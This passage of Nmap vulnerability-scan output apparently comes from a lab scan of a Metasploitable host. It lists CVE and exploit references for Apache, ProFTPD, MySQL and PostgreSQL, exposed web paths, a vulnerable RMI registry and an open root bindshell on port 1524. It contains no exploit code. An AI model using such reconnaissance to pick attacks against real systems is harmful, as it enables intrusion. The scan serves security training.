| SSV:11762 7.1 https://vulners.com/seebug/SSV:11762 *EXPLOIT*
| HTTPD:B44AEE5F83602723E751B3341D72C01D 7.1
https://vulners.com/httpd/HTTPD:B44AEE5F83602723E751B3341D72C01D

```

```

| HTTPD:4D420BA542C9357A7F064936250DAEFF 7.1
https://vulners.com/httpd/HTTPD:4D420BA542C9357A7F064936250DAEFF
| CVE-2009-1891 7.1 https://vulners.com/cve/CVE-2009-1891
| CVE-2009-1890 7.1 https://vulners.com/cve/CVE-2009-1890
| SSV:60427 6.9 https://vulners.com/seebug/SSV:60427 *EXPLOIT*
| SSV:60386 6.9 https://vulners.com/seebug/SSV:60386 *EXPLOIT*
| SSV:60069 6.9 https://vulners.com/seebug/SSV:60069 *EXPLOIT*
| HTTPD:D4C114070B5E7C4AA3E92FF94A57C659 6.9
https://vulners.com/httpd/HTTPD:D4C114070B5E7C4AA3E92FF94A57C659
| CVE-2012-0883 6.9 https://vulners.com/cve/CVE-2012-0883
| PACKETSTORM:127546 6.8
https://vulners.com/packetstorm/PACKETSTORM:127546 *EXPLOIT*
| HTTPD:0A13DEC03E87AF57C14487550B086B51 6.8
https://vulners.com/httpd/HTTPD:0A13DEC03E87AF57C14487550B086B51
| EDB-ID:34133 6.8 https://vulners.com/exploitdb/EDB-ID:34133
*EXPLOIT*
| CVE-2014-0226 6.8 https://vulners.com/cve/CVE-2014-0226
| 1337DAY-ID-22451 6.8 https://vulners.com/zdt/1337DAY-ID-22451
*EXPLOIT*
| SSV:11568 6.4 https://vulners.com/seebug/SSV:11568 *EXPLOIT*
| HTTPD:AFA6B3F6376C54842BAFBBF24C7F44C4 6.4
https://vulners.com/httpd/HTTPD:AFA6B3F6376C54842BAFBBF24C7F44C4
| CVE-2009-1956 6.4 https://vulners.com/cve/CVE-2009-1956
| HTTPD:3E4CF20C0CAD918E98C98926264946F2 6.1
https://vulners.com/httpd/HTTPD:3E4CF20C0CAD918E98C98926264946F2
| CVE-2026-29170 6.1 https://vulners.com/cve/CVE-2026-29170
| CVE-2016-4975 6.1 https://vulners.com/cve/CVE-2016-4975
| CNVD-2018-15542 6.1 https://vulners.com/cnvd/CNVD-2018-15542
| CVE-2018-1302 5.9 https://vulners.com/cve/CVE-2018-1302
| CVE-2018-1301 5.9 https://vulners.com/cve/CVE-2018-1301
| CNVD-2018-06536 5.9 https://vulners.com/cnvd/CNVD-2018-06536
| CNVD-2018-06535 5.9 https://vulners.com/cnvd/CNVD-2018-06535
| VULNERLAB:967 5.8 https://vulners.com/vulnerlab/VULNERLAB:967
*EXPLOIT*
| SSV:67231 5.8 https://vulners.com/seebug/SSV:67231 *EXPLOIT*
| SSV:18637 5.8 https://vulners.com/seebug/SSV:18637 *EXPLOIT*
| SSV:15088 5.8 https://vulners.com/seebug/SSV:15088 *EXPLOIT*
| SSV:12600 5.8 https://vulners.com/seebug/SSV:12600 *EXPLOIT*
| PACKETSTORM:84112 5.8
https://vulners.com/packetstorm/PACKETSTORM:84112 *EXPLOIT*
| EXPLOITPACK:8B4E7E8DAE5A13C8250C6C33307CD66C 5.8
https://vulners.com/exploitpack/EXPLOITPACK:8B4E7E8DAE5A13C8250C6C33307CD66C
*EXPLOIT*
| CNVD-2025-30835 5.4 https://vulners.com/cnvd/CNVD-2025-30835
| HTTPD:BAAB4065D254D64A717E8A5C847C7BCA 5.3
https://vulners.com/httpd/HTTPD:BAAB4065D254D64A717E8A5C847C7BCA
| HTTPD:8806CE4EFAA6A567C7FAD62778B6A46F 5.3
https://vulners.com/httpd/HTTPD:8806CE4EFAA6A567C7FAD62778B6A46F
| CVE-2026-34032 5.3 https://vulners.com/cve/CVE-2026-34032
| CVE-2026-33857 5.3 https://vulners.com/cve/CVE-2026-33857
| CVE-2022-37436 5.3 https://vulners.com/cve/CVE-2022-37436
| CVE-2022-28614 5.3 https://vulners.com/cve/CVE-2022-28614
| CVE-2022-28330 5.3 https://vulners.com/cve/CVE-2022-28330
| CNVD-2023-30859 5.3 https://vulners.com/cnvd/CNVD-2023-30859
| CNVD-2022-53582 5.3 https://vulners.com/cnvd/CNVD-2022-53582

```

```

|      CNVD-2022-51059 5.3      https://vulners.com/cnvd/CNVD-2022-51059
|      CNVD-2021-44766 5.3      https://vulners.com/cnvd/CNVD-2021-44766
|      CNVD-2020-46278 5.3      https://vulners.com/cnvd/CNVD-2020-46278
|      SSV:60788      5.1      https://vulners.com/seebug/SSV:60788      *EXPLOIT*
|      HTTPD:96CCBB8B74890DC94A45CD0955D35015 5.1
https://vulners.com/httpd/HTTPD:96CCBB8B74890DC94A45CD0955D35015
|      CVE-2013-1862 5.1      https://vulners.com/cve/CVE-2013-1862
|      SSV:96537      5.0      https://vulners.com/seebug/SSV:96537      *EXPLOIT*
|      SSV:62058      5.0      https://vulners.com/seebug/SSV:62058      *EXPLOIT*
|      SSV:61874      5.0      https://vulners.com/seebug/SSV:61874      *EXPLOIT*
|      SSV:20993      5.0      https://vulners.com/seebug/SSV:20993      *EXPLOIT*
|      SSV:20979      5.0      https://vulners.com/seebug/SSV:20979      *EXPLOIT*
|      SSV:20969      5.0      https://vulners.com/seebug/SSV:20969      *EXPLOIT*
|      SSV:19592      5.0      https://vulners.com/seebug/SSV:19592      *EXPLOIT*
|      SSV:15137      5.0      https://vulners.com/seebug/SSV:15137      *EXPLOIT*
|      PACKETSTORM:181059 5.0
https://vulners.com/packetstorm/PACKETSTORM:181059      *EXPLOIT*
|      PACKETSTORM:105672 5.0
https://vulners.com/packetstorm/PACKETSTORM:105672      *EXPLOIT*
|      PACKETSTORM:105591 5.0
https://vulners.com/packetstorm/PACKETSTORM:105591      *EXPLOIT*
|      MSF:AUXILIARY-SCANNER-HTTP-REWRITE_PROXY_BYPASS- 5.0
https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-HTTP-REWRITE_PROXY_BYPASS-
*EXPLOIT*
|      HTTPD:FF76CF8F03BE59B7AD0119034B0022DB 5.0
https://vulners.com/httpd/HTTPD:FF76CF8F03BE59B7AD0119034B0022DB
|      HTTPD:DD1BEF13C172D3E8CA5D3F3906101EC9 5.0
https://vulners.com/httpd/HTTPD:DD1BEF13C172D3E8CA5D3F3906101EC9
|      HTTPD:D1C855645E1630AE37C6F642C1D0F213 5.0
https://vulners.com/httpd/HTTPD:D1C855645E1630AE37C6F642C1D0F213
|      HTTPD:85C24937CF85C2E1DBF78F9954817A28 5.0
https://vulners.com/httpd/HTTPD:85C24937CF85C2E1DBF78F9954817A28
|      HTTPD:6D37F924288E2D149DC3C52135232B6E 5.0
https://vulners.com/httpd/HTTPD:6D37F924288E2D149DC3C52135232B6E
|      HTTPD:6CA43FB8E8332E715522C8A6C24EC31E 5.0
https://vulners.com/httpd/HTTPD:6CA43FB8E8332E715522C8A6C24EC31E
|      HTTPD:60BF8A7CCF62E24F92B3DCCA0E53F1F8 5.0
https://vulners.com/httpd/HTTPD:60BF8A7CCF62E24F92B3DCCA0E53F1F8
|      HTTPD:423307886E19F2012B809EEB1E9C6846 5.0
https://vulners.com/httpd/HTTPD:423307886E19F2012B809EEB1E9C6846
|      HTTPD:371AA87DEAE292D8E6ACC01309CA723A 5.0
https://vulners.com/httpd/HTTPD:371AA87DEAE292D8E6ACC01309CA723A
|      HTTPD:2E324CC4C6C61757E316E26EF4DCB945 5.0
https://vulners.com/httpd/HTTPD:2E324CC4C6C61757E316E26EF4DCB945
|      HTTPD:2C06F6E938AADE21D7C59CED65A985E6 5.0
https://vulners.com/httpd/HTTPD:2C06F6E938AADE21D7C59CED65A985E6
|      HTTPD:1DC50F4C723B9143E9713B27031C6043 5.0
https://vulners.com/httpd/HTTPD:1DC50F4C723B9143E9713B27031C6043
|      HTTPD:1069F9C369A2B2B1C4F8A1AC73589169 5.0
https://vulners.com/httpd/HTTPD:1069F9C369A2B2B1C4F8A1AC73589169
|      EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D 5.0
https://vulners.com/exploitpack/EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D
*EXPLOIT*

```

```

|          EXPLOITPACK:460143F0ACAE117DD79BD75EDFDA154B      5.0
https://vulners.com/exploitpack/EXPLOITPACK:460143F0ACAE117DD79BD75EDFDA154B
*EXPLOIT*
|          EDB-ID:17969      5.0      https://vulners.com/exploitdb/EDB-ID:17969
*EXPLOIT*
|          CVE-2015-3183      5.0      https://vulners.com/cve/CVE-2015-3183
|          CVE-2015-0228      5.0      https://vulners.com/cve/CVE-2015-0228
|          CVE-2014-0231      5.0      https://vulners.com/cve/CVE-2014-0231
|          CVE-2014-0098      5.0      https://vulners.com/cve/CVE-2014-0098
|          CVE-2013-6438      5.0      https://vulners.com/cve/CVE-2013-6438
|          CVE-2013-5704      5.0      https://vulners.com/cve/CVE-2013-5704
|          CVE-2011-3368      5.0      https://vulners.com/cve/CVE-2011-3368
|          CVE-2010-1623      5.0      https://vulners.com/cve/CVE-2010-1623
|          CVE-2010-1452      5.0      https://vulners.com/cve/CVE-2010-1452
|          CVE-2010-0408      5.0      https://vulners.com/cve/CVE-2010-0408
|          CVE-2009-3720      5.0      https://vulners.com/cve/CVE-2009-3720
|          CVE-2009-3560      5.0      https://vulners.com/cve/CVE-2009-3560
|          CVE-2009-3095      5.0      https://vulners.com/cve/CVE-2009-3095
|          CVE-2008-2364      5.0      https://vulners.com/cve/CVE-2008-2364
|          CVE-2007-6750      5.0      https://vulners.com/cve/CVE-2007-6750
|          CNVD-2015-01691      5.0      https://vulners.com/cnvd/CNVD-2015-01691
|          1337DAY-ID-28573      5.0      https://vulners.com/zdt/1337DAY-ID-28573
*EXPLOIT*
|          SSV:11668      4.9      https://vulners.com/seebug/SSV:11668      *EXPLOIT*
|          SSV:11501      4.9      https://vulners.com/seebug/SSV:11501      *EXPLOIT*
|          HTTPD:05AF7B1B11654BC6892C02003A12DE06      4.9
https://vulners.com/httpd/HTTPD:05AF7B1B11654BC6892C02003A12DE06
|          CVE-2009-1195      4.9      https://vulners.com/cve/CVE-2009-1195
|          EA6ADD14-D80B-5DC2-9991-1F9663E2D09F      4.8
https://vulners.com/githubexploit/EA6ADD14-D80B-5DC2-9991-1F9663E2D09F      *EXPLOIT*
|          CVE-2026-33006      4.8      https://vulners.com/cve/CVE-2026-33006
|          SSV:30024      4.6      https://vulners.com/seebug/SSV:30024      *EXPLOIT*
|          HTTPD:FB0DB72A0946D2AA25FA9FA21ADB2CE1      4.6
https://vulners.com/httpd/HTTPD:FB0DB72A0946D2AA25FA9FA21ADB2CE1
|          EDB-ID:41768      4.6      https://vulners.com/exploitdb/EDB-ID:41768
*EXPLOIT*
|          CVE-2012-0031      4.6      https://vulners.com/cve/CVE-2012-0031
|          1337DAY-ID-27465      4.6      https://vulners.com/zdt/1337DAY-ID-27465
*EXPLOIT*
|          SSV:23169      4.4      https://vulners.com/seebug/SSV:23169      *EXPLOIT*
|          HTTPD:6309ABD03BB1B29C82E941636515010E      4.4
https://vulners.com/httpd/HTTPD:6309ABD03BB1B29C82E941636515010E
|          EDB-ID:41769      4.4      https://vulners.com/exploitdb/EDB-ID:41769
*EXPLOIT*
|          CVE-2011-3607      4.4      https://vulners.com/cve/CVE-2011-3607
|          1337DAY-ID-27473      4.4      https://vulners.com/zdt/1337DAY-ID-27473
*EXPLOIT*
|          SSV:60905      4.3      https://vulners.com/seebug/SSV:60905      *EXPLOIT*
|          SSV:60657      4.3      https://vulners.com/seebug/SSV:60657      *EXPLOIT*
|          SSV:60653      4.3      https://vulners.com/seebug/SSV:60653      *EXPLOIT*
|          SSV:60345      4.3      https://vulners.com/seebug/SSV:60345      *EXPLOIT*
|          SSV:4786      4.3      https://vulners.com/seebug/SSV:4786      *EXPLOIT*
|          SSV:3804      4.3      https://vulners.com/seebug/SSV:3804      *EXPLOIT*
|          SSV:30094      4.3      https://vulners.com/seebug/SSV:30094      *EXPLOIT*
|          SSV:30056      4.3      https://vulners.com/seebug/SSV:30056      *EXPLOIT*

```

	SSV:24250	4.3	https://vulners.com/seebug/SSV:24250	*EXPLOIT*
	SSV:20555	4.3	https://vulners.com/seebug/SSV:20555	*EXPLOIT*
	SSV:19320	4.3	https://vulners.com/seebug/SSV:19320	*EXPLOIT*
	SSV:11558	4.3	https://vulners.com/seebug/SSV:11558	*EXPLOIT*
	PACKETSTORM:109284	4.3		
	https://vulners.com/packetstorm/PACKETSTORM:109284			*EXPLOIT*
	HTTPD:FD1CC7EACBC758C451BA5B8D25FCB6DD	4.3		
	https://vulners.com/httpd/HTTPD:FD1CC7EACBC758C451BA5B8D25FCB6DD			
	HTTPD:C730B9155CAC64B44A77E253B3135FE5	4.3		
	https://vulners.com/httpd/HTTPD:C730B9155CAC64B44A77E253B3135FE5			
	HTTPD:B90E2A3B47C473DD04F25ECBDA96D6CE	4.3		
	https://vulners.com/httpd/HTTPD:B90E2A3B47C473DD04F25ECBDA96D6CE			
	HTTPD:B07D6585013819446B5017BD7E358E6F	4.3		
	https://vulners.com/httpd/HTTPD:B07D6585013819446B5017BD7E358E6F			
	HTTPD:AC5C28237AB3E52EF4D366EB0CD6D4AF	4.3		
	https://vulners.com/httpd/HTTPD:AC5C28237AB3E52EF4D366EB0CD6D4AF			
	HTTPD:A49ADFA68FCEB939DA0E2BE13CA74CB9	4.3		
	https://vulners.com/httpd/HTTPD:A49ADFA68FCEB939DA0E2BE13CA74CB9			
	HTTPD:49F10A242AB057B651259425C3E680F4	4.3		
	https://vulners.com/httpd/HTTPD:49F10A242AB057B651259425C3E680F4			
	HTTPD:3D474EEBC8F5BC66AE37F523DD259829	4.3		
	https://vulners.com/httpd/HTTPD:3D474EEBC8F5BC66AE37F523DD259829			
	HTTPD:2A661E9492CCEF999508BD8503884E30	4.3		
	https://vulners.com/httpd/HTTPD:2A661E9492CCEF999508BD8503884E30			
	HTTPD:1E858A305C3DEA1B5E9A23EE1352B1B3	4.3		
	https://vulners.com/httpd/HTTPD:1E858A305C3DEA1B5E9A23EE1352B1B3			
	HTTPD:0F6B8D022A5D1C68540812E406264625	4.3		
	https://vulners.com/httpd/HTTPD:0F6B8D022A5D1C68540812E406264625			
	HTTPD:0D2952537BF45B77447EF90EAD31D8C9	4.3		
	https://vulners.com/httpd/HTTPD:0D2952537BF45B77447EF90EAD31D8C9			
	EXPLOITPACK:FDCB3D93694E48CD5EE27CE55D6801DE	4.3		
	https://vulners.com/exploitpack/EXPLOITPACK:FDCB3D93694E48CD5EE27CE55D6801DE			
	EXPLOIT			
	EDB-ID:36663	4.3	https://vulners.com/exploitdb/EDB-ID:36663	
	EXPLOIT			
	EDB-ID:36352	4.3	https://vulners.com/exploitdb/EDB-ID:36352	
	EXPLOIT			
	EDB-ID:35738	4.3	https://vulners.com/exploitdb/EDB-ID:35738	
	EXPLOIT			
	EDB-ID:31052	4.3	https://vulners.com/exploitdb/EDB-ID:31052	
	EXPLOIT			
	EDB-ID:18442	4.3	https://vulners.com/exploitdb/EDB-ID:18442	
	EXPLOIT			
	CVE-2016-8612	4.3	https://vulners.com/cve/CVE-2016-8612	
	CVE-2014-0118	4.3	https://vulners.com/cve/CVE-2014-0118	
	CVE-2013-1896	4.3	https://vulners.com/cve/CVE-2013-1896	
	CVE-2012-4558	4.3	https://vulners.com/cve/CVE-2012-4558	
	CVE-2012-3499	4.3	https://vulners.com/cve/CVE-2012-3499	
	CVE-2012-0053	4.3	https://vulners.com/cve/CVE-2012-0053	
	CVE-2011-4317	4.3	https://vulners.com/cve/CVE-2011-4317	
	CVE-2011-3639	4.3	https://vulners.com/cve/CVE-2011-3639	
	CVE-2011-0419	4.3	https://vulners.com/cve/CVE-2011-0419	
	CVE-2010-0434	4.3	https://vulners.com/cve/CVE-2010-0434	
	CVE-2009-0023	4.3	https://vulners.com/cve/CVE-2009-0023	
	CVE-2008-2939	4.3	https://vulners.com/cve/CVE-2008-2939	

```

| CVE-2008-0455 4.3 https://vulners.com/cve/CVE-2008-0455
| CVE-2007-6420 4.3 https://vulners.com/cve/CVE-2007-6420
| 67D5C133-2D28-56DF-B3FF-FA397606547D 4.3
https://vulners.com/gitee/67D5C133-2D28-56DF-B3FF-FA397606547D *EXPLOIT*
| SSV:12628 2.6 https://vulners.com/seebug/SSV:12628 *EXPLOIT*
| HTTPD:AA860ED739944CC66DCA320985CEC190 2.6
https://vulners.com/httpd/HTTPD:AA860ED739944CC66DCA320985CEC190
| HTTPD:A79620D4A49D1F0D9BE6A18FD0CA234C 2.6
https://vulners.com/httpd/HTTPD:A79620D4A49D1F0D9BE6A18FD0CA234C
| CVE-2012-2687 2.6 https://vulners.com/cve/CVE-2012-2687
| CVE-2009-3094 2.6 https://vulners.com/cve/CVE-2009-3094
| CVE-2008-0456 2.6 https://vulners.com/cve/CVE-2008-0456
| SSV:60250 1.2 https://vulners.com/seebug/SSV:60250 *EXPLOIT*
| CVE-2011-4415 1.2 https://vulners.com/cve/CVE-2011-4415
| 1337DAY-ID-9602 0.0 https://vulners.com/zdt/1337DAY-ID-9602 *EXPLOIT*
| 1337DAY-ID-21346 0.0 https://vulners.com/zdt/1337DAY-ID-21346
*EXPLOIT*
| 1337DAY-ID-17257 0.0 https://vulners.com/zdt/1337DAY-ID-17257
*EXPLOIT*
| 1337DAY-ID-16843 0.0 https://vulners.com/zdt/1337DAY-ID-16843
*EXPLOIT*
| 1337DAY-ID-13268 0.0 https://vulners.com/zdt/1337DAY-ID-13268
*EXPLOIT*
|_ 1337DAY-ID-11185 0.0 https://vulners.com/zdt/1337DAY-ID-11185
*EXPLOIT*
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-enum:
| /tikiwiki/: Tikiwiki
| /test/: Test page
| /phpinfo.php: Possible information file
| /phpMyAdmin/: phpMyAdmin
| /doc/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu)
dav/2'
| /icons/: Potentially interesting folder w/ directory listing
|_ /index/: Potentially interesting folder
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 40335/tcp mountd
| 100005 1,2,3 57558/udp mountd
| 100021 1,3,4 52367/tcp nlockmgr
| 100021 1,3,4 55359/udp nlockmgr
| 100024 1 40839/tcp status
|_ 100024 1 50467/udp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry

```

```

| rmi-vuln-classloader:
|   VULNERABLE:
|     RMI registry default configuration remote code execution vulnerability
|     State: VULNERABLE
|     Default configuration of RMI registry allows loading classes from remote URLs
which can lead to remote code execution.
|
|     References:
|_
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc
/java_rmi_server.rb
1524/tcp open  bindshell    Metasploitable root shell
2049/tcp open  nfs          2-4 (RPC #100003)
2121/tcp open  ftp          ProFTPD 1.3.1
| vulners:
|   cpe:/a:proftpd:proftpd:1.3.1:
|     A41BDBAB-C86F-56F2-B9E8-709503C4D553    10.0
https://vulners.com/githubexploit/A41BDBAB-C86F-56F2-B9E8-709503C4D553 *EXPLOIT*
|     6BF3AE83-7AD0-5378-B7C9-C05B81007195    10.0
https://vulners.com/gitee/6BF3AE83-7AD0-5378-B7C9-C05B81007195 *EXPLOIT*
|     CVE-2019-12815    9.8    https://vulners.com/cve/CVE-2019-12815
|     SSV:26016         9.0    https://vulners.com/seebug/SSV:26016    *EXPLOIT*
|     SSV:24282         9.0    https://vulners.com/seebug/SSV:24282    *EXPLOIT*
|     CVE-2011-4130     9.0    https://vulners.com/cve/CVE-2011-4130
|     CVE-2026-63090    8.8    https://vulners.com/cve/CVE-2026-63090
|     CVE-2026-35025    8.6    https://vulners.com/cve/CVE-2026-35025
|     EE17E53E-C92B-5F91-BF4B-9E9511471132    8.1
https://vulners.com/githubexploit/EE17E53E-C92B-5F91-BF4B-9E9511471132 *EXPLOIT*
|     EDCFB5A3-3CC8-5AE9-A02F-CEC5BAD53863    8.1
https://vulners.com/githubexploit/EDCFB5A3-3CC8-5AE9-A02F-CEC5BAD53863 *EXPLOIT*
|     CVE-2026-44331    8.1    https://vulners.com/cve/CVE-2026-44331
|     CVE-2026-42167    8.1    https://vulners.com/cve/CVE-2026-42167
|     CB4E4765-38DF-5BC4-AD88-3DC5E99F329F    8.1
https://vulners.com/githubexploit/CB4E4765-38DF-5BC4-AD88-3DC5E99F329F *EXPLOIT*
|     6AA60140-B0EA-5986-806E-3FC4CD991555    8.1
https://vulners.com/githubexploit/6AA60140-B0EA-5986-806E-3FC4CD991555 *EXPLOIT*
|     3522B931-4FE8-5250-93B7-465D616321B4    8.1
https://vulners.com/githubexploit/3522B931-4FE8-5250-93B7-465D616321B4 *EXPLOIT*
|     CVE-2026-53994    7.7    https://vulners.com/cve/CVE-2026-53994
|     EDB-ID:8037        7.5    https://vulners.com/exploitdb/EDB-ID:8037
*EXPLOIT*
|     CVE-2024-48651    7.5    https://vulners.com/cve/CVE-2024-48651
|     CVE-2023-51713    7.5    https://vulners.com/cve/CVE-2023-51713
|     CVE-2021-46854    7.5    https://vulners.com/cve/CVE-2021-46854
|     CVE-2020-9272     7.5    https://vulners.com/cve/CVE-2020-9272
|     CVE-2019-19272    7.5    https://vulners.com/cve/CVE-2019-19272
|     CVE-2019-19271    7.5    https://vulners.com/cve/CVE-2019-19271
|     CVE-2019-19270    7.5    https://vulners.com/cve/CVE-2019-19270
|     CVE-2019-18217    7.5    https://vulners.com/cve/CVE-2019-18217
|     CVE-2016-3125     7.5    https://vulners.com/cve/CVE-2016-3125
|     CNVD-2020-14677    7.5    https://vulners.com/cnvd/CNVD-2020-14677
|     CNVD-2019-44557    7.5    https://vulners.com/cnvd/CNVD-2019-44557
|     SSV:20226          7.1    https://vulners.com/seebug/SSV:20226    *EXPLOIT*
|     PACKETSTORM:95517    7.1
https://vulners.com/packetstorm/PACKETSTORM:95517    *EXPLOIT*

```

```

| CVE-2026-63091 7.1 https://vulners.com/cve/CVE-2026-63091
| CVE-2010-3867 7.1 https://vulners.com/cve/CVE-2010-3867
| CVE-2010-4652 6.8 https://vulners.com/cve/CVE-2010-4652
| CVE-2009-0543 6.8 https://vulners.com/cve/CVE-2009-0543
| FD2E0EBA-ED84-5304-8862-84BCDEB2F288 5.9
https://vulners.com/githubexploit/FD2E0EBA-ED84-5304-8862-84BCDEB2F288 *EXPLOIT*
| CVE-2023-48795 5.9 https://vulners.com/cve/CVE-2023-48795
| 999F3EF8-6D45-5F10-A4C8-6185D82D4552 5.9
https://vulners.com/githubexploit/999F3EF8-6D45-5F10-A4C8-6185D82D4552 *EXPLOIT*
| 721F040C-37BC-59E1-9433-01A2EAC2E755 5.9
https://vulners.com/githubexploit/721F040C-37BC-59E1-9433-01A2EAC2E755 *EXPLOIT*
| SSV:12523 5.8 https://vulners.com/seebug/SSV:12523 *EXPLOIT*
| CVE-2009-3639 5.8 https://vulners.com/cve/CVE-2009-3639
| CVE-2017-7418 5.5 https://vulners.com/cve/CVE-2017-7418
| EDB-ID:16129 5.0 https://vulners.com/exploitdb/EDB-ID:16129
*EXPLOIT*
| CVE-2011-1137 5.0 https://vulners.com/cve/CVE-2011-1137
| CVE-2019-19269 4.9 https://vulners.com/cve/CVE-2019-19269
| CVE-2008-7265 4.0 https://vulners.com/cve/CVE-2008-7265
| CVE-2012-6095 1.2 https://vulners.com/cve/CVE-2012-6095
|_ AA06DC52-7C1A-5600-AB1F-D2B5C8CD2EC8 0.0
https://vulners.com/githubexploit/AA06DC52-7C1A-5600-AB1F-D2B5C8CD2EC8 *EXPLOIT*
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
|_ ssl-ccs-injection: No reply from server (TIMEOUT)
| vulners:
| cpe:/a:mysql:mysql:5.0.51a-3ubuntu5:
| CVE-2017-15945 7.8 https://vulners.com/cve/CVE-2017-15945
| SSV:15006 6.8 https://vulners.com/seebug/SSV:15006 *EXPLOIT*
| CVE-2009-4028 6.8 https://vulners.com/cve/CVE-2009-4028
| CVE-2010-1621 5.0 https://vulners.com/cve/CVE-2010-1621
| CVE-2015-2575 4.9 https://vulners.com/cve/CVE-2015-2575
| SSV:3280 4.6 https://vulners.com/seebug/SSV:3280 *EXPLOIT*
| CVE-2008-2079 4.6 https://vulners.com/cve/CVE-2008-2079
| EDB-ID:34506 4.0 https://vulners.com/exploitdb/EDB-ID:34506
*EXPLOIT*
| EDB-ID:32838 4.0 https://vulners.com/exploitdb/EDB-ID:32838
*EXPLOIT*
| EDB-ID:30744 4.0 https://vulners.com/exploitdb/EDB-ID:30744
*EXPLOIT*
| CVE-2010-3682 4.0 https://vulners.com/cve/CVE-2010-3682
| CVE-2010-3677 4.0 https://vulners.com/cve/CVE-2010-3677
| CVE-2009-0819 4.0 https://vulners.com/cve/CVE-2009-0819
| CVE-2007-5925 4.0 https://vulners.com/cve/CVE-2007-5925
|_ CVE-2010-1626 3.6 https://vulners.com/cve/CVE-2010-1626
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-poodle:
| VULNERABLE:
| SSL POODLE information leak
| State: VULNERABLE
| IDs: CVE:CVE-2014-3566 BID:70574
| The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
| products, uses nondeterministic CBC padding, which makes it easier
| for man-in-the-middle attackers to obtain cleartext data via a
| padding-oracle attack, aka the "POODLE" issue.
| Disclosure date: 2014-10-14

```

```

|   Check results:
|   TLS_RSA_WITH_AES_128_CBC_SHA
|   References:
|   https://www.openssl.org/~bodo/ssl-poodle.pdf
|   https://www.securityfocus.com/bid/70574
|   https://www.imperialviolet.org/2014/10/14/poodle.html
|_   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
| ssl-dh-params:
|   VULNERABLE:
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|   State: VULNERABLE
|   Transport Layer Security (TLS) services that use Diffie-Hellman groups
|   of insufficient strength, especially those using one of a few commonly
|   shared groups, may be susceptible to passive eavesdropping attacks.
|   Check results:
|   WEAK DH GROUP 1
|   Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
|   Modulus Type: Safe prime
|   Modulus Source: Unknown/Custom-generated
|   Modulus Length: 1024
|   Generator Length: 8
|   Public Key Length: 1024
|   References:
|_   https://weakdh.org
| vulners:
|   cpe:/a:postgresql:postgresql:8.3:
|   SSV:60718      10.0   https://vulners.com/seebug/SSV:60718      *EXPLOIT*
|   CVE-2013-1903  10.0   https://vulners.com/cve/CVE-2013-1903
|   CVE-2013-1902  10.0   https://vulners.com/cve/CVE-2013-1902
|   PACKETSTORM:216218      9.9
https://vulners.com/packetstorm/PACKETSTORM:216218      *EXPLOIT*
|   POSTGRESQL:CVE-2019-10211      9.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2019-10211
|   POSTGRESQL:CVE-2018-16850      9.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2018-16850
|   POSTGRESQL:CVE-2017-7546      9.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2017-7546
|   POSTGRESQL:CVE-2015-3166      9.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2015-3166
|   POSTGRESQL:CVE-2015-0244      9.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2015-0244
|   PACKETSTORM:189316      9.8
https://vulners.com/packetstorm/PACKETSTORM:189316      *EXPLOIT*
|   CVE-2019-10211  9.8   https://vulners.com/cve/CVE-2019-10211
|   CVE-2015-3166  9.8   https://vulners.com/cve/CVE-2015-3166
|   CVE-2015-0244  9.8   https://vulners.com/cve/CVE-2015-0244
|   CNVD-2020-02196 9.8   https://vulners.com/cnvd/CNVD-2020-02196
|   CNVD-2017-26577 9.8   https://vulners.com/cnvd/CNVD-2017-26577
|   B675EF91-A407-518F-9D46-5325ACF11AAC      9.8
https://vulners.com/githubexploit/B675EF91-A407-518F-9D46-5325ACF11AAC *EXPLOIT*
|   1337DAY-ID-39921      9.8   https://vulners.com/zdt/1337DAY-ID-39921
*EXPLOIT*
|   POSTGRESQL:CVE-2016-7048      9.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2016-7048
|   CVE-2016-7048  9.3   https://vulners.com/cve/CVE-2016-7048

```

| CNVD-2020-02193 9.3 https://vulners.com/cnvd/CNVD-2020-02193
| POSTGRESQL:CVE-2018-1115 9.1
https://vulners.com/postgresql/POSTGRESQL:CVE-2018-1115
| POSTGRESQL:CVE-2016-3065 9.1
https://vulners.com/postgresql/POSTGRESQL:CVE-2016-3065
| CVE-2018-1115 9.1 https://vulners.com/cve/CVE-2018-1115
| CNVD-2018-13765 9.1 https://vulners.com/cnvd/CNVD-2018-13765
| POSTGRESQL:CVE-2019-10164 9.0
https://vulners.com/postgresql/POSTGRESQL:CVE-2019-10164
| POSTGRESQL:CVE-2026-6638 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2026-6638
| POSTGRESQL:CVE-2026-6637 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2026-6637
| POSTGRESQL:CVE-2026-6477 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2026-6477
| POSTGRESQL:CVE-2026-6475 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2026-6475
| POSTGRESQL:CVE-2026-6473 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2026-6473
| POSTGRESQL:CVE-2026-2006 8.8
